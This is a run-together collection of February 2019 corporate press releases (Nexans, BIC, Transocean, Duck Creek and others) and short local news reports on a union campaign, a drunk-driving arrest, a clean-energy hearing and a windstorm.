https://www.gminsights.com/industry-analysis/metal-structural-insulation-panels-market

2. Polystyrene (PS) & Expanded Polystyrene (EPS) Market Size By Product (Polystyrene, Expanded Polystyrene), By Application (Insulation, Packaging, Foaming, Component Manufacturing, Chemical Intermediate), By End-user (Transportation, Electrical & Electronics, Construction, Consumer Goods, Food & Beverage), Industry Analysis Report, Regional Outlook (U.S., Canada, Germany, Italy, UK, Russia, France, Spain, Poland, China, India, Japan, Australia, South Korea, Thailand, Indonesia, Brazil, Mexico, Argentina, South Africa, Saudi Arabia, UAE), Growth Potential, Price Trends, Competitive Market Share & Forecast, 2018  2025

https://www.gminsights.com/industry-analysis/polystyrene-ps-and-expanded-polystyrene-eps-market





About Global Market Insights

Global Market Insights, Inc., headquartered in Delaware, U.S., is a global market research and consulting service provider; offering syndicated and custom research reports along with growth consulting services. Our business intelligence and industry research reports offer clients with penetrative insights and actionable market data specially designed and presented to aid strategic decision making. These exhaustive reports are designed via a proprietary research methodology and are available for key industries such as chemicals, advanced materials, technology, renewable energy and biotechnology.English French

PRESS RELEASE

Nexans awarded over 190-million-euro worth of contracts to reinforce distribution networks in Europe and Latin America

Over the next two years, Nexans will supply medium and low voltage cables for the development of electricity distribution networks of one of the world's biggest utility companies

The contracts awarded as part of a frame agreement cover numerous countries in Europe and Latin America

Nexans' innovative POWERBOOST(TM) MV cable technology will make its debut in projects for Italy

Paris La Defense, February 13, 2019 - Nexans has achieved a major success in a global tender process carried out by a one of the biggest utility companies in the world, securing contracts worth over 190 million to supply medium voltage (MV) and low voltage (LV) cables. Over the next two years, Nexans will support the development of the client's electricity distribution networks in Europe and Latin America.

"We are delighted to have achieved this major success in a very competitive tender process - notably thanks to the technical excellence of our products allied to a very competitive offer," says Nexans' CEO Christopher Guerin. "Leveraging on our global expertise and local presence, we were able to showcase our capability to support our clients throughout the entire customer journey, from design and specification to delivery."

Several Nexans units across the world were involved in the 2018-2020 tender for 12/20 kilovolt (kV) MV and 0.6/1 kV LV cables. The Group's local presence was one of the advantages of the offer as the cables will be delivered by Nexans entities in Brazil, Chile, Columbia, Peru, Italy and Romania. In addition to meeting the technical specifications, these units also commited to stringent environmental sustainability standards, with ISO 14067 certifications.

An innovative feature of the contract is that, in Italy, Nexans will deliver its new patented POWERBOOST(TM) MV cable technology, developed specifically to meet the changing needs of power grids today and tomorrow. High-performance POWERBOOST(TM) technology benefits from reduced production times thanks to a simplified manufacturing process. By using a patented thermoplastic insulation formulation, POWERBOOST(TM) cables also require less energy to be produced (compared to XLPE cables) and can be easily recycled.

The agreement with Nexans has an initial duration of two years. The cables will be deployed in Italy, Romania, Brazil, Chile, Argentina, Peru and Colombia.

About Nexans

As a global leader in advanced cabling and connectivity solutions, Nexans brings energy to life through an extensive range of best-in-class products and innovative services. For over 120 years, innovation has been the company's hallmark, enabling Nexans to drive a safer, smarter and more efficient future together with its customers.

Today, the Nexans Group is committed to facilitating energy transition and supporting the exponential growth of data by empowering its customers in four main business areas: Building & Territories (including utilities, smart grids, emobility), High Voltage & Projects (covering offshore wind farms, submarine interconnections, land high voltage), Telecom & Data (covering data transmission, telecom networks, hyperscale data centers, LAN), and Industry & Solutions (including renewables, transportation, Oil & Gas, automation, and others).

Corporate Social Responsibility is a guiding principle of Nexans' business activities and internal practices. In 2013 Nexans became the first cable provider to create a Foundation supporting sustainable initiatives bringing access to energy to disadvantaged communities worldwide. The Group's commitment to developing ethical, sustainable and high-quality cables drives its active involvement within several leading industry associations, including Europacable, the National Electrical Manufacturers Association (NEMA), International Cablemakers Federation (ICF) or CIGRE to mention a few.

Nexans employs more than 26,000 people with an industrial footprint in 34 countries and commercial activities worldwide. In 2017, the Group generated 6.4 billion euros in sales.Nexans is listed on Euronext Paris, compartment A.

For more information, please visit: www.nexans.com & follow us on:

Contacts :English Estonian

On 03.01.2019, AS Tallinna Vesi challenged Competition Authoritys decision dated 04.12.2018 refusing to approve the prices of water services that AS Tallinna Vesi applied for in Tallinn and Saue service area. On 12.02.2019 the Competition Authority informed the company, that it will not satisfy the companys challenge.

AS Tallinna Vesi may, within 30 days, file an appeal against the decision to the Tallinn Administrative Court. AS Tallinna Vesi will examine the Competition Authoritys decision in detail, and will thereafter decide whether or not to file an appeal.



AS Tallinna Vesi is currently in the process of preparing a response to the Competition Authority concerning the supervisory review procedure, which is related to the same decision. In this response, the company will explain its position on the price components, serving as a basis of the prices of water services. The deadline for AS Tallinna Vesi to respond is currently the 01.04.2019.



The company is still awaiting the decision in the ongoing international arbitration proceedings, where AS Tallinna Vesi and United Utilities (Tallinn) B.V. have submitted a damage claim against the Republic of Estonia, based on the Agreement on Encouragement and Reciprocal Protection of Investments between the Kingdom of the Netherlands and the Republic of Estonia.



Eliis Vennik

Head of Customer Relations and Communications

Tallinna Vesi

(+372) 626 2275

Eliis.vennik@tvesi.ee



English French

BIC Group - Press Release

Clichy - 13 February 2019

BIC 2022 - Invent the Future

Four strategic pillars to drive long-term profitable sales growth

A focused and agile organization

Unchanged capital allocation

In December 2018, BIC initiated an organizational review to re-imagine the company, drive productivity and improve efficiency to free up resources, and ultimately reinvest in future growth. While the process is on-going and will take several more months to be fully completed, BIC today announces steps in its "BIC 2022 - Invent the Future" transformation plan journey.

"We recognize that our business environment is changing and acknowledge that we must change with it. To drive long-term sales growth and the sustainability of margins, we must become more agile, integrated and innovative. BIC 2022 - Invent the Future will enhance efficiency across the whole organization to accelerate innovation in our products and processes, drive a more consumer-centric strategy and enable the growth path of BIC.

By leveraging BIC's entrepreneurial spirit and strong business foundations with an enhanced organizational structure, I am confident that we will be able to turn today's challenges into future opportunities. We are committed to the execution of the plan."

Gonzalve Bich, BIC Chief Executive Officer

1/ Four strategic pillars to drive long-term profitable sales growth

To be more agile and focused BIC is becoming more effective, innovation-driven, consumer-centric, and must improve omnichannel distribution.

Effectiveness : we must increase efficiency throughout our global manufacturing operations. Our goal is to build a more global, flexible, cost-effective, data-centric and responsible production model, by exploring ways to optimize our procurement processes and our Supply Chain model, while maintaining product Safety, Quality, and Affordability.

Innovation: we must enhance our consumer insights capabilities and increase the pace of innovative New Product launches to drive sustainable innovation with consumers at the center.

Relevant Brands that are consumer-centric : we must connect and engage more effectively with all consumers to continue to leverage our unique Brands, tailoring and strengthening digital communication infrastructure and embracing new shopping trends such as personalization.

Omnichannel Distribution: we must sharpen our commercial operations to become a genuine omnichannel specialist, off-line and on-line, to drive value growth.

2/ Focused and agile organization

To better address current challenges, an Executive Committee has been formed. It will set the Group's long-term ambition and implement BIC's strategy through greater accountability and expertise while fostering cross-functional collaboration.

BIC's Executive Committee consists of seven direct reports to the Chief Executive Officer, with the creation of three new roles:

Group Insights and Innovation Officer (Stationery and Shavers), Thomas Brette

Objective: reinvigorate our innovation processes, placing the consumer at the center of our business, collect data and generate insights to create innovative products and services aligned with our Brand strategy and our Sustainable Development Commitments.

Group Supply Chain Officer, Peter Dalsberg

Objective: enhance efficiency throughout manufacturing operations, centralized procurement and "end to end" Supply Chain while maintaining product Safety, Quality, and Affordability.

Group Commercial Officer, Benoit Marotte

Objective: lead commercial operations and drive an omnichannel on-line and off-line go-to-market strategy embedding next-generation capabilities.

In addition, BIC's Executive Committee will include already-existing roles:

Group Lighter General Manager, Francois Clement Grandcourt

Objective: continue to grow the Lighter category through its unique manufacturing processes and R&D, maintaining a strong focus on safety and quality.

Chief Finance Officer, Jim DiPietro, Senior Executive Vice-President

Objective: evolve a best-in-class Finance function by establishing reliable, transversal processes, and continue to ensure the accuracy of financial reporting and efficient planning to drive our global financial performance.

Chief Human Resources Officer, Alison James

Objective: Build organizational and people capabilities in support of the long-term strategy, through the implementation of effective talent acquisition, talent management and talent development processes and solutions. Support the evolution of the culture to drive organizational effectiveness in support of long-term business objectives.

Global Strategy and Business Development

Objective: develop a comprehensive corporate strategy, identify and analyze potential business growth opportunities.

3/ Four clear operational strategic targets for 2022

To measure the success of the plan, we have set initial operational targets for each of the four strategic pillars.

Effectiveness Achieve at least 20 million euros original annualized savings reinvested to drive growth Innovation Increase the number of new patent submissions by 20% per year Consumer-Centric Brands Engage directly with 20% of our consumers Omnichannel Distribution Reach 10% of Net Sales in e-commerce

4/ Unchanged capital allocation

During the transformation plan, BIC will maintain a solid cash generation, a strong balance sheet, and an unchanged Capital Allocation Strategy, namely:

Investment to drive profitable growth, including capital expenditures and selected acquisitions

Ordinary Dividend

Regular Share buyback

Exceptional Dividend from excess cash (at least two years' annual free cash flow generation).

5/ Comprehensive mission and purpose, long-term ambition

While re-inventing itself, BIC remains committed to its historical Values, Mission and Purpose and will continue to:

Provide high quality, inventive and reliable products and solutions that are respectful of our environment, for everyone, everywhere,

Create long-term value for all stakeholders : consumers, employees, local communities, customers, and shareholders,

Improve equality in education for all, by enhancing learning conditions for students globally. We are convinced this is a powerful way to build a sustainable future, for each and every one of us.

Our long-term ambition is to drive profitable growth, increase productivity, while continuously investing in our People, Research and Development, New Products, and Brands, and ultimately sustain total Shareholder remuneration through strong cash generation.

6/ Clear Roadmap

In 2019 we build the foundations, with a new organization and enhanced skills and capabilities. In 2020 and 2021, we will extend market positions, expand e-commerce and speed-up innovation and new product launches. We will also continue to reinforce and consolidate overall efficiency by improving the effectiveness of our support functions, introducing new capabilities and increasing the fluidity of operations. The full impact of the plan is expected by 2022, with strengthened operational effectiveness and accelerated long-term growth.

APPENDIX

BIC Executive Committee

Gonzalve BICH - Chief Executive Officer

Gonzalve, a French-American, is Chief Executive Officer and Director of SOCIETE BIC since May 2018. Prior to this, he served as Chief Operating Officer from January 2017 until May 2018, as well as Executive Vice-President from June 2016 to May 2018. Gonzalve joined BIC Asia in 2003, where he developed the regional business for four years. He moved on to serve as Group People Development Director before joining the Shaver Category as Marketing Director. From 2008 to 2012, he led the Northern European business and was then named Deputy General Manager, responsible for the Middle East, Africa, Oceania, and Asia Pacific. He was promoted to General Manager, Developing Markets in July 2013 and took the responsibility for BIC Consumer Business Categories & Latin America operations in Spring 2016. Gonzalve earned a Bachelor of Arts degree in History with Honors, from Harvard University in 2001.

Thomas BRETTE - Group Insights and Innovation Officer - Stationery and Shavers

Thomas Brette joined BIC in 1999 as Cost Controller in Greece, then Finance Manager for the Shaver Category based in New York. He was appointed Finance Director for BIC Sport in 2005 and Business Unit Manager, BIC Stationery in 2007. In 2009, Thomas rejoined the Shaver category as Marketing Director and was appointed Deputy General Manager, Shavers in 2013. He joined the Leadership team in 2015, responsible for Shavers. Before joining BIC, Thomas held positions in the French Bank Credit Lyonnais. Thomas is French and holds a Master's level Diploma in Accounting and Finance from the Institut National des Techniques Economiques et Comptables - Paris, France.

Francois CLEMENT-GRANDCOURT - Group Lighter General Manager

Francois Clement-Grandcourt joined BIC in 2000 as Marketing Product Manager for BIC Shavers. He moved to BIC Lighters & Shavers in 2004 as Marketing Director Europe-Middle East and Africa, and then served as Country General Manager, BIC Eastern Europe. In 2007, he was appointed as Division Deputy General Manager for BIC Lighters. He joined the Leadership Team in 2016 and is responsible for Lighters. Before joining BIC, Francois held positions in Coca-Cola and Danone. Francois is French-Swiss and holds a Master of Business Administration degree from INSEAD.

Peter DALSBERG - Group Supply Chain Officer

Peter Dalsberg joined BIC in in October 2017 as head of the Stationery category. Peter joined from Amcor, where he was responsible for Global Strategy and Business Development in the Asia Pacific region. He previously ran Operations for Amcor's business in the Americas. Prior to Amcor, Peter held positions in Operations with British American Tobacco, including running the Supply Chain for the Asia Pacific region and leading Western European Operations. Peter is Danish and received his Graduate Diploma in Business Administration from the Copenhagen Business School.

Jim DIPIETRO - Executive Vice-President, Chief Finance Officer

Jim DiPietro joined BIC in May 1998 as Senior Vice President, Finance, of BIC Corporation and was appointed Chief Finance Officer in 2002. Prior to joining BIC, Jim was Director of Finance for Bayer's consumer pharmaceutical business in North America. He began his career as an internal auditor with Chase Manhattan Bank. Jim is American and holds a bachelor's degree in Accounting from St. John's University and a master's degree in Finance from Pace University, both in New York.

Alison JAMES - Chief Human Resources Officer

Alison James joined BIC in 2014. Prior to BIC, Alison was Head of Human Resources for Life Technologies in San Diego and held various positions in Human Resources for several other companies, including Encore Capital Group and Gateway. She began her career at Mars Inc. where she held several different positions. Alison is American and British and holds a Bachelor of Arts degree in Management Studies and French from the University of Bradford (GB).

Benoit MAROTTE - Group Commercial Officer

Benoit Marotte joined BIC in 2001 as Marketing Manager, Europe for the Shaver Category. He was promoted to Director, Marketing Europe in 2003 before moving to General Manager roles in the UK and France. He became Deputy General Manager, Stationery in 2007 and joined the Leadership Team in 2009 as General Manager, Stationery. Since 2017, he has been responsible for Europe, North America and Asia Pacific. Prior to joining BIC, Benoit worked for 10 years at Nestle where he held several marketing positions. Benoit started his career at Xerox in sales. Benoit is French and graduated from ESSEC Business School and Montpelier Business School.

* *

*

This document contains forward-looking statements. Although BIC believes its expectations are based on reasonable assumptions, these statements are subject to numerous risks and uncertainties. A description of the risks borne by BIC appears in the section, "Risk Factors" in BIC's 2017 Registration Document filed with the French financial markets authority (AMF) on March 21, 2018.

Contacts

Sophie Palliez-Capian - VP, Corporate Stakeholder Engagement - sophie.palliez@bicworld.com Investor Relations Contact: +33 1 45 19 52 00 Press Contacts: +33 1 45 19 52 00 Michele Ventura



michele.ventura@bicworld.com Albane de La Tour d'Artaise Albane.DeLaTourD'Artaise@bicworld.com Isabelle de Segonzac: +33 1 53 70 74 70



isegonzac@image7.fr

For more information, please consult the corporate website: www.bicworld.com

2019 Agenda

First Quarter 2019 results 25 April 2019 Conference call 2019 AGM 22 May 2019 Meeting - BIC Headquarters First Half 2019 results 31 July 2019 Conference Call Third Quarter 2019 results 23 October 2019 Conference call

About BIC

BIC is a world leader in stationery, lighters and shavers. For more than 70 years, BIC has honored the tradition of providing high-quality, affordable products to consumers everywhere. Through this unwavering dedication BIC has become one of the most recognized brands and is a trademark registered worldwide for identifying BIC products which are sold in more than 160 countries around the world. In 2018, BIC Net Sales were 1,949.8 million euros. The Company is listed on "Euronext Paris" and is part of the SBF120 and CAC Mid 60 indexes. BIC is also part of the following Socially Responsible Investment indexes: CDP's "Leadership Level" (A-) and "Leadership Level" for the additional "Supplier" module, Euronext Vigeo - Eurozone 120, Euronext Vigeo - Europe 120, FTSE4Good indexes, Ethibel Pioneer and Ethibel Excellence Investment Registers, Ethibel Sustainability Index (ESI) Excellence Europe, Stoxx Global ESG Leaders Index.Boston, Feb. 12, 2019 (GLOBE NEWSWIRE) -- Duck Creek Technologies announced today that Cerity, a digital-first company offering workers compensation quotes and policies, has launched the initial rollout of their brand-new business 12 months after starting from scratch. Offering direct-to-consumer online distribution backed by Duck Creek Policy and Duck Creek Billing, both delivered via Duck Creek OnDemand, the providers SaaS solution for the P&C insurance industry, Ceritys solution can produce tailored quotes and deliver a policy in five minutes or less. Now offering coverage in Illinois with plans to expand to the rest of the country, Cerity's predictive pricing model has up to 100 price points, making each quote as unique as the businesses they protect.

Starting with no infrastructure and only four employees, the challenge Cerity faced in building a fully-functional insurance solution in minimal time was significant. The company sought off-the-shelf solutions for all aspects of their business, which the carrier credits with much of their speed to market. In addition to Duck Creek Policy and Billing, Cerity also leveraged Duck Creek Industry Content, taking advantage of NCCI templates to stand up complete products with full regulatory compliance with minimal time and effort. And to add further differentiation in the market, the company utlilized the Duck Creek Anywhere API, which allowed them to build a proprietary user experience on top of their technology stack without making any compromises in functionality.

Insurers that embrace a transformational lens to customer experience are achieving significant successes when it comes to small business, said Karen Furtado, Partner at Strategy Meets Action. Cerity has applied an outside in viewpoint to provide small business owners with a desirable user experience when shopping for insurance. That customer experience, combined with Duck Creek's platform capability, is a strong combination to support the launch of Cerity's business.

We saw an opportunity to seize the leadership position for small business owners desiring a fast, easy, and fully digital solution, said Tracey Berg, President of Cerity Services and EVP & Chief Innovation Officer of Employers Holdings, Inc. Starting with no infrastructure and four employees, we designed, built, and launched a digital insurance solution that allows small business owners to purchase workers compensation insurance in five minutes or less. Within a year, we had a policy and billing system ready for production using Duck Creek Policy, Duck Creek Billing, and Duck Creek OnDemand. We stayed out-of-the-box and leveraged the power of the product to enable an accelerated implementation.

Consumers are voting with their wallet and moving online in droves. This has triggered increased investments to build the kinds of omni-channel services necessary to meet their needs, said Karlyn Carnahan, head of the Americas for Celents property & casualty business. To be successful here, an insurer has to have a streamlined process, a slick user interface, minimal data input, tailored advice, and real-time decisions. Insurers need to move quickly if they want to capture a first-mover advantage.

All the components and capabilities carriers need to quickly move from concept, development, and implementation to go-live production are included with Duck Creek OnDemand. Continuous management includes easy upgrades to the latest Duck Creek products and automatic circular content (ISO, AAIS, NCCI) updates. Duck Creeks pre-filled Lines of Business templates, circular updates, and Content Exchange assets ensure that carriers get the implementation jumpstarts, accelerators, and up-to-date data they need to get to market quickly.

All P&C insurers focus on speed to market as a differentiating factor, said Andy Dey, chief product and technology officer of Duck Creek. But what Cerity has done is truly remarkable  they have built a fully-operational business from the ground up in less time than many insurers still shackled to legacy systems take to introduce a single new product. Duck Creek is excited to continue our relationship with Cerity and help them as their operation grows and expands  which we are confident will be a very fast process.

About Cerity

Founded with a bold vision to reimagine small business insurance, Cerity empowers business owners to quickly and easily protect their team, their assets and their livelihood through an online workers' compensation solution. With its digital-first approach, Cerity is transforming the entire process - from purchasing and maintaining coverage, to filing a claim - to be simple, fast, and easy. The company's proprietary pricing model produces tailored quotes within seconds, and can deliver a new policy in five minutes or less, enabling leaders to get back to what matters most - growing and scaling their operation. Cerity is currently available to small business owners in Illinois. Cerity Services, Inc. is a subsidiary of Employers Holdings, Inc. (NYSE:EIG), an industry veteran, with over 100 years of experience in workers' compensation. Learn more at cerity.com.

About Duck Creek Technologies

Duck Creek Technologies paves a genuine path to the future for P&C insurance companies. Decades of insurance experience underpin advanced technologies specifically designed to accommodate change - allowing carriers to navigate uncertainty and capture market opportunities faster than their competitors. All of the companys offerings are available standalone or as a full suite, and all are available via Duck Creek OnDemand, the providers SaaS solution for the P&C insurance industry. For more information, visit www.duckcreek.com.



Media Contact:

Paul Rechichi

Racepoint Global

617-624-3295

prechichi@racepointglobal.com

AttachmentVICTORIA, British Columbia, Feb. 12, 2019 (GLOBE NEWSWIRE) -- Minister of Energy, Michelle Mungall assured a delegation of janitors working at BC Hydro Tuesday that she would speak to BC Hydro CEO Chris ORiley to explore creative solutions to their current situation.



Despite unusual snow fall in the Lower Mainland and Vancouver Island, the five workers representing janitors at Vancouver, Burnaby and Surrey worksites were able to make it to Victoria.

Each spoke about the precarious nature of the contract cleaning industry and urged the current government to take direct action on their case.

This contract flip at BC Hydro has been very stressful on us and our families, explained Mary Jane Bayangos, a cleaner at the downtown BC Hydro location. We were forced to reapply to our own jobs, with no guarantee that we will keep these jobs and would be re-hired as probationary employees, Bayangos added.

Minister of Labour, Harry Bains, also attended the meeting with the workers to discuss what his Ministry is doing to bring in retroactive successorship rights so workers would not have to endure such hardships in the future.

In January, the property manager and multi billion-dollar corporate entity, Brookfield Global Integrated Services (BGIS), awarded the cleaning contract at BC Hydro to Alpine Building Maintenance Inc. With the approval of BC Hydro, Alpine, a non-union company in BC, has been scheduled to take over the cleaning on March 1, 2019.

We understand that successorship rights will be legislated later this year but before that happens, we need guarantees right now, said Conception Hipona, another cleaner at BC Hydro.

The government should be setting the standard higher, not bringing it down, Hipona added.

Last October, the provincial government released the full report of recommendations of the Labour Code review Panel, which included some promising recommendations to reform the BC Labour Code, the most notable being the implementation of successorship provisions in the Code.

However, in the interim, the janitors remain vulnerable and desperate for more immediate guarantees.

We believe that as a public utility and Crown corporation, BC Hydro has an obligation to serve the publics best interest, said Eleanor Labrador, another BC Hydro cleaner. This means treating its employees  whether full-time regulars or contract workers  with dignity, respect and fairness.

The janitors at these locations, currently employed by GDI Integrated Facility Services, are members of the Service Employees International Union. In March 2018, they ratified their most recent collective agreement, making modest, but important gains.

In explaining some of the improvements her coworkers have been able to win in collective bargaining, Subhashni Devi told the Ministers, we do not want to lose the small gains we managed to make over the years.

The Service Employees International Union, Local 2 represents 16,000 workers across Canada including over 10,000 workers in the janitorial sector. The goals of SEIUs Justice for Janitors campaign is to organize janitors across a city or market, so together, workers can raise standards in the cleaning sector and reverse the race to the bottom.



For more information, please visit www.justiceforjanitors.ca

Contact:

Christine Bro 778-996-4008

A photo accompanying this announcement is available at http://www.globenewswire.com/NewsRoom/AttachmentNg/523fa761-55b5-4abd-95c2-e9779d11a360STEINHAUSEN, Switzerland, Feb. 11, 2019 (GLOBE NEWSWIRE) -- Transocean Ltd. (NYSE: RIG) today issued a quarterly Fleet Status Report that provides the current status of, and contract information for, the companys fleet of offshore drilling rigs.



Since its last Fleet Status Report, Transocean closed the acquisition of Ocean Rig UDW, Inc. on December 5, 2018. The transaction adds eight high-specification ultra-deepwater drillships and two harsh environment semisubmersibles to the Transocean fleet. In addition, the acquisition includes two high-specification ultra-deepwater drillships currently under construction at the Geoje Samsung shipyard in South Korea.

Transocean added approximately $907 million in contract backlog since its last report, bringing the companys backlog to $12.2 billion.

Among the contract additions, Transocean signed a rig design and construction management contract, as well as a five-year drilling contract, with Chevron USA, Inc. for one of Transoceans two dynamically positioned ultra-deepwater drillships under construction at the Jurong shipyard in Singapore. The drilling contract has an estimated backlog of $830 million, excluding mobilization and reimbursables. The rig will be the first ultra-deepwater floater rated for 20,000 psi operations and is expected to commence operations in the Gulf of Mexico in the second half of 2021.

This quarters report also includes the following new contracts:

Dhirubhai Deepwater KG2  Awarded a four-well contract offshore Australia via a term swap with the GSF Development Driller I. It was also awarded one four-well option;

Leiv Eriksson  Customer exercised a one-well option in the Norwegian North Sea;

Transocean Arctic  Customer exercised two one-well options in the Norwegian North Sea and the rig was awarded a two-well contract with another customer in the Norwegian North Sea;

Discoverer India  Customer exercised two one-well options offshore Ivory Coast; and

Transocean 712  Customer exercised a one-well option offshore U.K. North Sea.

Additionally, the company intends to scrap the Ocean Rig Paros in an environmentally responsible manner; the rig is classified as held for sale.

The report can be accessed on the companys website: www.deepwater.com .

About Transocean

Transocean is a leading international provider of offshore contract drilling services for oil and gas wells. The company specializes in technically demanding sectors of the global offshore drilling business with a particular focus on deepwater and harsh environment drilling services, and believes that it operates one of the most versatile offshore drilling fleets in the world.

Transocean owns or has partial ownership interests in, and operates a fleet of 49 mobile offshore drilling units consisting of 31 ultra-deepwater floaters, 14 harsh environment floaters, and four midwater floaters. In addition, Transocean is constructing four ultra-deepwater drillships; and one harsh environment semisubmersible in which the company has a one-third interest.

Forward-Looking Statements

The statements described in this press release that are not historical facts are forward-looking statements within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended. These statements contain words such as "possible," "intend," "will," "if," "expect," or other similar expressions. Forward-looking statements are based on managements current expectations and assumptions, and are subject to inherent uncertainties, risks and changes in circumstances that are difficult to predict. As a result, actual results could differ materially from those indicated in these forward-looking statements. Factors that could cause actual results to differ materially include, but are not limited to, estimated duration of customer contracts, contract dayrate amounts, future contract commencement dates and locations, planned shipyard projects and other out-of-service time, sales of drilling units, timing of the companys newbuild deliveries, operating hazards and delays, risks associated with international operations, actions by customers and other third parties, the future prices of oil and gas, the intention to scrap certain drilling rigs, the success of our business following the acquisitions of Songa Offshore SE and Ocean Rig UDW Inc., and other factors, including those and other risks discussed in the company's most recent Annual Report on Form 10-K for the year ended December 31, 2017, and in the company's other filings with the SEC, which are available free of charge on the SEC's website at: www.sec.gov . Should one or more of these risks or uncertainties materialize (or the other consequences of such a development worsen), or should underlying assumptions prove incorrect, actual results may vary materially from those indicated or expressed or implied by such forward-looking statements. All subsequent written and oral forward-looking statements attributable to the company or to persons acting on our behalf are expressly qualified in their entirety by reference to these risks and uncertainties. You should not place undue reliance on forward-looking statements. Each forward-looking statement speaks only as of the date of the particular statement, and we undertake no obligation to publicly update or revise any forward-looking statements to reflect events or circumstances that occur, or which we become aware of, after the date hereof, except as otherwise may be required by law. All non-GAAP financial measure reconciliations to the most comparative GAAP measure are displayed in quantitative schedules on the companys website at: www.deepwater.com .

This press release, or referenced documents, do not constitute an offer to sell, or a solicitation of an offer to buy, any securities, and do not constitute an offering prospectus within the meaning of article 652a or article 1156 of the Swiss Code of Obligations. Investors must rely on their own evaluation of Transocean and its securities, including the merits and risks involved. Nothing contained herein is, or shall be relied on as, a promise or representation as to the future performance of Transocean.

Analyst Contacts:

Bradley Alexander

+1 713-232-7515

Lexington May

+1 832-587-6515

Media Contact:

Pam Easton

+1 713-232-7647BRITT - A North Iowa teacher was arrested for her third OWI, according to police.

Raylea L. Hepker, 27, was accused of operating while intoxicated - third offense.

On Jan. 28, Britt Police received a traffic complaint of a vehicle driving on the wrong side of the road with the license plate covered.

An officer made a traffic stop and called another officer for assistance due to a strong odor of alcoholic beverage coming from the vehicle.

Raylea was crying and cusing (sic) and breathing heavily, court documents said.

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Hepker told the officer that she was f---ed. She was taken to the police department for testing.

Hepker told the officer there she drank enough for the officer to know that she was drunk and would not submit to a field sobriety test or chemical sample to determine level of intoxication, court documents said.

She later provided a breath sample with a .267, police said. The legal limit is .08.

Hepker was later released following her initial court appearance.Key government agencies say probe into fake rescue scam in final stages

Amid concerns that high-profile individuals are embroiled in the scam, the Prime Ministers office has ordered to speed up the investigation.WASHINGTON  The outdoor recreation industry can help the nations efforts to break free from polluting fuels that contribute to global warming, a Grand Junction business owner said recently during a congressional hearing on clean energy.

Our [area] has been on the leading edge of change that has been playing out in rural communities throughout the United States, said Sarah Shrader, owner and co-founder of Bonsai Design, a company that develops outdoor adventure courses.

She was referring to an economy in the Grand Junction area that has historically depended heavily on the mining, oil and gas industries but now is diversifying into other enterprises. Bonsai Design is one of them, along with tourism and agriculture, including winemaking.

The House Natural Resources subcommittee on energy and mineral resources, of which Diana DeGette, D-Denver, is a member, invited Shrader to speak about her business as an example of better alternatives to polluting energy industries.

Subcommittee members said they would like the U.S. economy to use more renewable energy, such as solar and wind power. They also want to make sure workers in the mineral extraction industries have other employment opportunities if their jobs are phased out.

Shrader  whom new Gov. Jared Polis named last November as a member of his transition team on economic development matters  said some of her companys 50 employees otherwise would be working in oil and gas fields that traditionally provided workers with low incomes and unreliable boom or bust opportunities.

Bonsai Design is one of many businesses and communities along the Western Slope that are finding alternatives to mineral extraction, she said.

These communities are now rebranding themselves as economic hubs, Shrader said.

The rebranding can include partnerships among the outdoor recreation, health care and manufacturing businesses, all of which contribute to growing the local economies, she said. The rebranded communities also are placing a higher priority on education and attracting new residents, she said.

New residents want the quality of life from investments we made in outdoor recreation, Shrader said.

Many of the ideas discussed at the congressional hearing are similar to proposals from Polis. He has set a goal of transforming all of Colorados energy sources to renewable sources by 2040.

Congressional Democrats, including newly elected U.S. Rep. Joe Neguse, D-Boulder, set out similar goals in the Green New Deal they announced last week. It is a 10-year plan to switch the United States to renewable energy sources while phasing out fossil fuels. It also seeks employment opportunities.

The part of the Green New Deal discussed extensively at the congressional hearing Feb. 12 calls for meeting 100 percent of the power demand in the United States through clean, renewable, and zero-emission energy sources."

Republicans on the subcommittee called it unrealistic, saying it could cost the United States $1 trillion a year at a time of record deficits.

One of them was U.S. Rep. Liz Cheney of Wyoming, the state that produces the nations most coal to fuel electrical generators. She said the New Green Deal sets an agenda that would shut down most of the nations air and automobile travel if it is carried to completion.

Despite complaints about the coal industry, the reliability is something that simply cannot be replaced, she said.

She asked each of the six witnesses at Tuesday's hearing whether they supported the Green New Deal. They generally responded with only weak statements of support for its environmental cleanup ambitions.

Shrader said, Im not an expert on the Green New Deal.

The Green New Deal is one of several proposals under discussion in Congress aimed at addressing climate change and clean energy. House Speaker Nancy Pelosi, D-California, said Feb. 7 that she welcomed the "enthusiasm" of backers of the Green New Deal but did not endorse the plan.

Democrats who now make up a majority in Congress called the hearing because of what they called President Donald Trumps inaction on climate change.

The worst is yet to come, said U.S. Rep. Alan Lowenthal, D-Calif., the subcommittee chairman. There must be changes in the way we produce and use energy in this country.

He added, We dont have a lot of time.High winds Wednesday shattered windows at Doherty High School and downed nine power poles in northeast Colorado Springs, shutting down a stretch of North Powers Boulevard for nearly 12 hours and cutting power to thousands of people.

Wind whipped the northeast side, with sensors picking up gusts of more than 70 mph, the National Weather Service in Pueblo reported. An area near the Air Force Academy repeatedly saw 79 mph gusts.

But perhaps the strongest wind speeds hit the summit of Pikes Peak, with an 89 mph gust recorded about 8 a.m. Elsewhere in the region, it was gusty without being destructive.

The power poles, which lined North Powers Boulevard between Dublin and Stetson Hills boulevards, were downed about 11:30 a.m., said Steve Berry, Colorado Springs Utilities spokesman. Between 8,500 and 9,000 customers lost power.

Powers reopened shortly after 11 p.m., according to Gazette news partner KKTV.

I was just out there, and the crossbeams were broken, some of the equipment that hangs on those poles were cracked and scattered on southbound Powers there, Berry said. Some of the poles had kind of splintered, broken in half. So it was really strange, because normally when we have that here, and we experience broken power poles and downed lines of that size, its more widespread around the city. This was just a very strange, isolated area that just got hit really hard.

Power was restored to all customers by mid-afternoon, but North Powers Boulevard was expected to remain closed until 3 or 4 a.m. Thursday because it was too windy for crews to climb poles to repair lines, and circuits had to be isolated and disconnected before restoring power.

Three Colorado Springs School District 11 elementary schools lost power in the outage, said district spokeswoman Devra Ashby. Rudy Elementary School and Martinez Elementary School let out early about 1:30 p.m., but classes were resumed at Henry Elementary School after power was restored.

About five windows in Doherty High Schools atrium were shattered by the wind, Ashby said. No students were injured.

They had to keep the students away from the windows, and it was all around lunchtime, so they had to do a staggered lunch, which Im sure made for an eventful afternoon, Ashby said.

Temperatures in Colorado Springs hit 64 degrees, well above Feb. 13s average high of 44 degrees. Red flag and high wind warnings were issued Wednesday for much of the Pikes Peak region.

